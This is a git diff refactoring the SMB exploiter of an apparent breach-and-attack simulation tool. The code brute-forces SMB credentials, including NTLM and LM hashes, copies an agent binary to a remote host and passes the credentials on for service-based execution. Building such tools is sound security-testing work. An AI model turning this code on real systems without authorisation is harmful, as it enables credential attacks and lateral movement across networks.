diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py
index 0facecc9f..d4b7078af 100644
--- a/monkey/infection_monkey/exploit/smbexec.py
+++ b/monkey/infection_monkey/exploit/smbexec.py
@@ -1,4 +1,7 @@
+from dataclasses import dataclass
 from logging import getLogger
+from pathlib import PurePath
+from typing import Optional, Tuple
 
 from impacket.dcerpc.v5 import scmr, transport
 from impacket.dcerpc.v5.scmr import DCERPCSessionError
@@ -21,6 +24,14 @@ from infection_monkey.utils.threading import interruptible_iter
 logger = getLogger(__name__)
 
 
+@dataclass
+class SelectedCredentials:
+    user: str
+    password: str
+    lm_hash: str
+    ntlm_hash: str
+
+
 class SMBExploiter(HostExploiter):
     _EXPLOITED_SERVICE = "SMB"
     KNOWN_PROTOCOLS = {
@@ -31,51 +42,9 @@ class SMBExploiter(HostExploiter):
     SMB_SERVICE_NAME = "InfectionMonkey"
 
     def _exploit_host(self):
-        agent_binary = self.agent_binary_repository.get_agent_binary(self.host.os["type"])
+
         dest_path = get_agent_dst_path(self.host)
-        creds = generate_brute_force_combinations(self.options["credentials"])
-
-        for user, password, lm_hash, ntlm_hash in interruptible_iter(creds, self.interrupt):
-            creds_for_log = get_credential_string([user, password, lm_hash, ntlm_hash])
-
-            try:
-                # copy the file remotely using SMB
-                remote_full_path = SmbTools.copy_file(
-                    self.host,
-                    agent_binary,
-                    dest_path,
-                    user,
-                    password,
-                    lm_hash,
-                    ntlm_hash,
-                    self.options["smb_download_timeout"],
-                )
-
-                if remote_full_path is not None:
-                    logger.info(
-                        f"Successfully logged in to {self.host.ip_addr} using SMB "
-                        f"with {creds_for_log}"
-                    )
-                    self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
-                    self.add_vuln_port(
-                        "%s or %s"
-                        % (
-                            SMBExploiter.KNOWN_PROTOCOLS["139/SMB"][1],
-                            SMBExploiter.KNOWN_PROTOCOLS["445/SMB"][1],
-                        )
-                    )
-                    self.exploit_result.exploitation_success = True
-                    break
-                else:
-                    # failed exploiting with this user/pass
-                    self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
-
-            except Exception as exc:
-                logger.error(
-                    f"Error while trying to copy file using SMB to {self.host.ip_addr} with "
-                    f"{creds_for_log}:{exc}"
-                )
-                continue
+        remote_full_path, creds = self._exploit(dest_path)
 
         if not self.exploit_result.exploitation_success:
             if self._is_interrupted():
@@ -109,11 +78,11 @@ class SMBExploiter(HostExploiter):
             if hasattr(rpctransport, "set_credentials"):
                 # This method exists only for selected protocol sequences.
                 rpctransport.set_credentials(
-                    user,
-                    get_plaintext(password),
+                    creds.user,
+                    get_plaintext(creds.password),
                     "",
-                    get_plaintext(lm_hash),
-                    get_plaintext(ntlm_hash),
+                    get_plaintext(creds.lm_hash),
+                    get_plaintext(creds.ntlm_hash),
                     None,
                 )
             rpctransport.set_kerberos(SMBExploiter.USE_KERBEROS)
@@ -190,3 +159,50 @@ class SMBExploiter(HostExploiter):
             )
         )
         return self.exploit_result
+
+    def _exploit(self, dest_path: PurePath) -> Tuple[Optional[str], SelectedCredentials]:
+        agent_binary = self.agent_binary_repository.get_agent_binary(self.host.os["type"])
+        creds = generate_brute_force_combinations(self.options["credentials"])
+        for user, password, lm_hash, ntlm_hash in interruptible_iter(creds, self.interrupt):
+            creds_for_log = get_credential_string([user, password, lm_hash, ntlm_hash])
+
+            try:
+                # copy the file remotely using SMB
+                remote_full_path = SmbTools.copy_file(
+                    self.host,
+                    agent_binary,
+                    dest_path,
+                    user,
+                    password,
+                    lm_hash,
+                    ntlm_hash,
+                    self.options["smb_download_timeout"],
+                )
+
+                if remote_full_path is not None:
+                    logger.info(
+                        f"Successfully logged in to {self.host.ip_addr} using SMB "
+                        f"with {creds_for_log}"
+                    )
+                    self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
+                    self.add_vuln_port(
+                        "%s or %s"
+                        % (
+                            SMBExploiter.KNOWN_PROTOCOLS["139/SMB"][1],
+                            SMBExploiter.KNOWN_PROTOCOLS["445/SMB"][1],
+                        )
+                    )
+                    self.exploit_result.exploitation_success = True
+                    break
+                else:
+                    # failed exploiting with this user/pass
+                    self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
+
+            except Exception as exc:
+                logger.error(
+                    f"Error while trying to copy file using SMB to {self.host.ip_addr} with "
+                    f"{creds_for_log}:{exc}"
+                )
+                continue
+
+        return remote_full_path, SelectedCredentials(user, password, lm_hash, ntlm_hash)